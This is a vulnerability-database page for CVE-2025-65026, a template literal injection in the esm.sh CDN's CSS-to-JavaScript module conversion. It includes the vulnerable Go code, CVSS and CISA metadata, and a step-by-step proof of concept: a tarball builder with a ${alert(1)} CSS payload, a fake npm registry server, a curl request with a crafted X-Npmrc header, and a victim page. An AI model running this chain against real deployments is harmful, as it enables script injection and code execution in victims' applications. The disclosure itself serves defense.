Vulnerability-Lookup

GHSA-HCPF-QV9M-VFGP

Vulnerability from github – Published: 2025-11-19 20:31 – Updated: 2025-11-27 08:30

Summary

esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript

Details

Summary

The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature.

When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization.

An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.

Root Cause: The CSS module conversion logic (router.go:1112-1119) performs incomplete sanitization - it only checks for backticks (`) but fails to escape template literal expressions (${...}), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.

Details

File: server/router.go
Lines: 1112-1119

// Convert CSS to JavaScript module when ?module query is present
if pathKind == RawFile && strings.HasSuffix(esm.SubPath, ".css") && query.Has("module") {
    filename := path.Join(npmrc.StoreDir(), esm.Name(), "node_modules", esm.PkgName, esm.SubPath)
    css, err := os.ReadFile(filename)
    if err != nil {
        return rex.Status(500, err.Error())
    }

    buf := bytes.NewBufferString("/* esm.sh - css module */\n")
    buf.WriteString("const stylesheet = new CSSStyleSheet();\n")

    if bytes.ContainsRune(css, '`') {
        // If backtick exists: JSON encode (SAFE)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))
        buf.WriteString(");\n")
    } else {
        // If no backtick: Direct insertion (VULNERABLE!)
        buf.WriteString("stylesheet.replaceSync(`")
        buf.Write(css)  // ← CSS inserted into template literal without sanitization!
        buf.WriteString("`);\n")
    }

    buf.WriteString("export default stylesheet;\n")
    ctx.SetHeader("Content-Type", ctJavaScript)
    return buf
}

When CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping ${...} expressions. Template literals in JavaScript evaluate expressions within ${...}, causing any such expressions in the CSS to execute as JavaScript code.

PoC

Step 1. Create Malicious Package (tar)

import tarfile
import io
import json
from datetime import datetime

# Malicious CSS with template literal injection
evil_css = b"""
body {
  background-color: #ffffff;
  color: #333333;
}

.container {
  max-width: 1200px;
  margin: 0 auto;
}

/* js payload */
${alert(1)} 

/* More CSS to appear legitimate */
.footer {
  margin-top: 20px;
  padding: 10px;
}
"""

files = {
    "package/index.js": b"module.exports = { version: '1.0.0' };",
    "package/package.json": json.dumps({
        "name": "test-css-injection",
        "version": "1.0.0",
        "description": "Test package for CSS injection",
        "main": "index.js"
    }, indent=2).encode(),

    # Malicious CSS file
    "package/poc.css": evil_css,
}

with tarfile.open("test-css-injection-1.0.0.tgz", "w:gz") as tar:
    for name, content in files.items():
        info = tarfile.TarInfo(name=name)
        info.size = len(content)
        info.mode = 0o644
        info.mtime = int(datetime.now().timestamp())
        tar.addfile(info, io.BytesIO(content))

print("Malicious CSS tarball created - test-css-injection-1.0.0.tgz")

Step 2. Run Fake Registry Server

# fake-npm-registry.py
from flask import Flask, jsonify, send_file

app = Flask(__name__)

MALICIOUS_TARBALL = "/tmp/test-css-injection-1.0.0.tgz" # HERE MALICIOUS TAR PATH
REGISTRY_URL = "http://host.docker.internal:9999" # HERE FAKE REGISTRY SERVER

@app.route('/<package>')
def get_metadata(package):
    return jsonify({
        "name": package,
        "versions": {
            "1.0.0": {
                "name": package,
                "version": "1.0.0",
                "dist": {
                    "tarball": f"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz"
                }
            }
        },
        "dist-tags": {"latest": "1.0.0"}
    })

@app.route('/<package>/-/<filename>')
def get_tarball(package, filename):
    return send_file(MALICIOUS_TARBALL, mimetype='application/gzip')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=9999)

python3 fake-npm-registry.py

Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

curl "http://localhost:8080/test-tarslip@1.0.0" \
  -H 'X-Npmrc: {"registry":"http://host.docker.internal:9999/"}'

Step 4. Check Cross-site Script (alert(1))

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CSS Injection Victim Page</title>
</head>
<body>
    <script type="module">
        // esm.sh import
        import styles from "http://localhost:8080/test-css-injection@1.0.0/poc.css?module";

        console.log('Styles loaded:', styles);
    </script>
</body>
</html>

in esm.sh Playground

Impact

Can execute arbitrary JavaScript. This can sometimes lead to remote code execution. (Electron App, Deno App, ...)

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/esm-dev/esm.sh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20251118065157-87d2f6497574"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-65026"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-19T20:31:55Z",
    "nvd_published_at": "2025-11-19T18:15:50Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. \n\nWhen a CSS file is requested with the `?module` query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. \n\nAn attacker can inject malicious JavaScript code using `${...}` expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications.\n\n**Root Cause:** \nThe CSS module conversion logic (`router.go:1112-1119`) performs incomplete sanitization - it only checks for backticks (\\`) but fails to escape template literal expressions (`${...}`), allowing arbitrary JavaScript execution when the CSS content is inserted into a template literal string.\n\n### Details\n**File:** `server/router.go`  \n**Lines:** 1112-1119\n\n```go\n// Convert CSS to JavaScript module when ?module query is present\nif pathKind == RawFile \u0026\u0026 strings.HasSuffix(esm.SubPath, \".css\") \u0026\u0026 query.Has(\"module\") {\n    filename := path.Join(npmrc.StoreDir(), esm.Name(), \"node_modules\", esm.PkgName, esm.SubPath)\n    css, err := os.ReadFile(filename)\n    if err != nil {\n        return rex.Status(500, err.Error())\n    }\n    \n    buf := bytes.NewBufferString(\"/* esm.sh - css module */\\n\")\n    buf.WriteString(\"const stylesheet = new CSSStyleSheet();\\n\")\n    \n    if bytes.ContainsRune(css, \u0027`\u0027) {\n        // If backtick exists: JSON encode (SAFE)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.WriteString(strings.TrimSpace(string(utils.MustEncodeJSON(string(css)))))\n        buf.WriteString(\");\\n\")\n    } else {\n        // If no backtick: Direct insertion (VULNERABLE!)\n        buf.WriteString(\"stylesheet.replaceSync(`\")\n        buf.Write(css)  // \u2190 CSS inserted into template literal without sanitization!\n        buf.WriteString(\"`);\\n\")\n    }\n    \n    buf.WriteString(\"export default stylesheet;\\n\")\n    ctx.SetHeader(\"Content-Type\", ctJavaScript)\n    return buf\n}\n```\nWhen CSS does not contain backticks, the code directly inserts the raw CSS content into a JavaScript template literal without escaping `${...}` expressions. \nTemplate literals in JavaScript evaluate expressions within `${...}`, causing any such expressions in the CSS to execute as JavaScript code.\n\n### PoC\n\n### Step 1. Create Malicious Package (tar)\n```python\nimport tarfile\nimport io\nimport json\nfrom datetime import datetime\n\n# Malicious CSS with template literal injection\nevil_css = b\"\"\"\nbody {\n  background-color: #ffffff;\n  color: #333333;\n}\n\n.container {\n  max-width: 1200px;\n  margin: 0 auto;\n}\n\n/* js payload */\n${alert(1)} \n\n/* More CSS to appear legitimate */\n.footer {\n  margin-top: 20px;\n  padding: 10px;\n}\n\"\"\"\n\nfiles = {\n    \"package/index.js\": b\"module.exports = { version: \u00271.0.0\u0027 };\",\n    \"package/package.json\": json.dumps({\n        \"name\": \"test-css-injection\",\n        \"version\": \"1.0.0\",\n        \"description\": \"Test package for CSS injection\",\n        \"main\": \"index.js\"\n    }, indent=2).encode(),\n    \n    # Malicious CSS file\n    \"package/poc.css\": evil_css,\n}\n\nwith tarfile.open(\"test-css-injection-1.0.0.tgz\", \"w:gz\") as tar:\n    for name, content in files.items():\n        info = tarfile.TarInfo(name=name)\n        info.size = len(content)\n        info.mode = 0o644\n        info.mtime = int(datetime.now().timestamp())\n        tar.addfile(info, io.BytesIO(content))\n\nprint(\"Malicious CSS tarball created - test-css-injection-1.0.0.tgz\")\n```\n\n### Step 2. Run Fake Registry Server\n```python\n# fake-npm-registry.py\nfrom flask import Flask, jsonify, send_file\n\napp = Flask(__name__)\n\nMALICIOUS_TARBALL = \"/tmp/test-css-injection-1.0.0.tgz\" # HERE MALICIOUS TAR PATH\nREGISTRY_URL = \"http://host.docker.internal:9999\" # HERE FAKE REGISTRY SERVER\n\n@app.route(\u0027/\u003cpackage\u003e\u0027)\ndef get_metadata(package):\n    return jsonify({\n        \"name\": package,\n        \"versions\": {\n            \"1.0.0\": {\n                \"name\": package,\n                \"version\": \"1.0.0\",\n                \"dist\": {\n                    \"tarball\": f\"{REGISTRY_URL}/{package}/-/{package}-1.0.0.tgz\"\n                }\n            }\n        },\n        \"dist-tags\": {\"latest\": \"1.0.0\"}\n    })\n\n@app.route(\u0027/\u003cpackage\u003e/-/\u003cfilename\u003e\u0027)\ndef get_tarball(package, filename):\n    return send_file(MALICIOUS_TARBALL, mimetype=\u0027application/gzip\u0027)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\u00270.0.0.0\u0027, port=9999)\n```\n\n```bash\npython3 fake-npm-registry.py\n```\n\u003e Note: I used a fake server for convenience here, but you can also use the official registry (npm, github, etc.)\n\n\n### Step 3. Request Malicious Package with X-Npmrc Header (File Upload)\n```bash\ncurl \"http://localhost:8080/test-tarslip@1.0.0\" \\\n  -H \u0027X-Npmrc: {\"registry\":\"http://host.docker.internal:9999/\"}\u0027\n```\n\n### Step 4. Check Cross-site Script (alert(1))\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eCSS Injection Victim Page\u003c/title\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n    \u003cscript type=\"module\"\u003e\n        // esm.sh import\n        import styles from \"http://localhost:8080/test-css-injection@1.0.0/poc.css?module\";\n        \n        console.log(\u0027Styles loaded:\u0027, styles);\n    \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\u003cimg width=\"1414\" height=\"238\" alt=\"image\" src=\"https://github.com/user-attachments/assets/acf00a7b-cad2-4af0-8885-9ba2433ba9fb\" /\u003e\n\n### in esm.sh Playground\n\u003cimg width=\"1568\" height=\"502\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b2cd56a9-930e-4e64-a05c-5df02682c897\" /\u003e\n\n\n\n### Impact\nCan execute arbitrary JavaScript.\nThis can sometimes lead to remote code execution.\n(Electron App, Deno App, ...)",
  "id": "GHSA-hcpf-qv9m-vfgp",
  "modified": "2025-11-27T08:30:39Z",
  "published": "2025-11-19T20:31:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65026"
    },
    {
      "type": "WEB",
      "url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/esm-dev/esm.sh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
}

CVE-2025-65026 (GCVE-0-2025-65026)

Vulnerability from cvelistv5 – Published: 2025-11-19 17:33 – Updated: 2025-11-20 14:19

Title

esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript

Summary

esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-11-20 14:19 UTC

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M mitre root

References

2 references

URL	Tags
https://github.com/esm-dev/esm.sh/security/adviso…	x_refsource_CONFIRM
https://github.com/esm-dev/esm.sh/commit/87d2f649…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
esm-dev	esm.sh	Affected: < 136

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-65026",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-11-20T14:19:05.465613Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-11-20T14:19:17.852Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "esm.sh",
          "vendor": "esm-dev",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 136"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "esm.sh is a nobuild content delivery network(CDN) for modern web development. Prior to version 136, The esm.sh CDN service contains a Template Literal Injection vulnerability (CWE-94) in its CSS-to-JavaScript module conversion feature. When a CSS file is requested with the ?module query parameter, esm.sh converts it to a JavaScript module by embedding the CSS content directly into a template literal without proper sanitization. An attacker can inject malicious JavaScript code using ${...} expressions within CSS files, which will execute when the module is imported by victim applications. This enables Cross-Site Scripting (XSS) in browsers and Remote Code Execution (RCE) in Electron applications. This issue has been patched in version 136."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-11-19T17:33:11.469Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/esm-dev/esm.sh/security/advisories/GHSA-hcpf-qv9m-vfgp"
        },
        {
          "name": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/esm-dev/esm.sh/commit/87d2f6497574bf4448641a5527a3ac2beba5fd6c"
        }
      ],
      "source": {
        "advisory": "GHSA-hcpf-qv9m-vfgp",
        "discovery": "UNKNOWN"
      },
      "title": "esm.sh CDN service has JS Template Literal Injection in CSS-to-JavaScript"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-65026",
    "datePublished": "2025-11-19T17:33:11.469Z",
    "dateReserved": "2025-11-13T15:36:51.682Z",
    "dateUpdated": "2025-11-20T14:19:17.852Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-HCPF-QV9M-VFGP

Summary

Details

PoC

Step 1. Create Malicious Package (tar)

Step 2. Run Fake Registry Server

Step 3. Request Malicious Package with X-Npmrc Header (File Upload)

Step 4. Check Cross-site Script (alert(1))

in esm.sh Playground

Impact

CVE-2025-65026 (GCVE-0-2025-65026)

Tags

Sightings

Nomenclature

Related by attack behaviour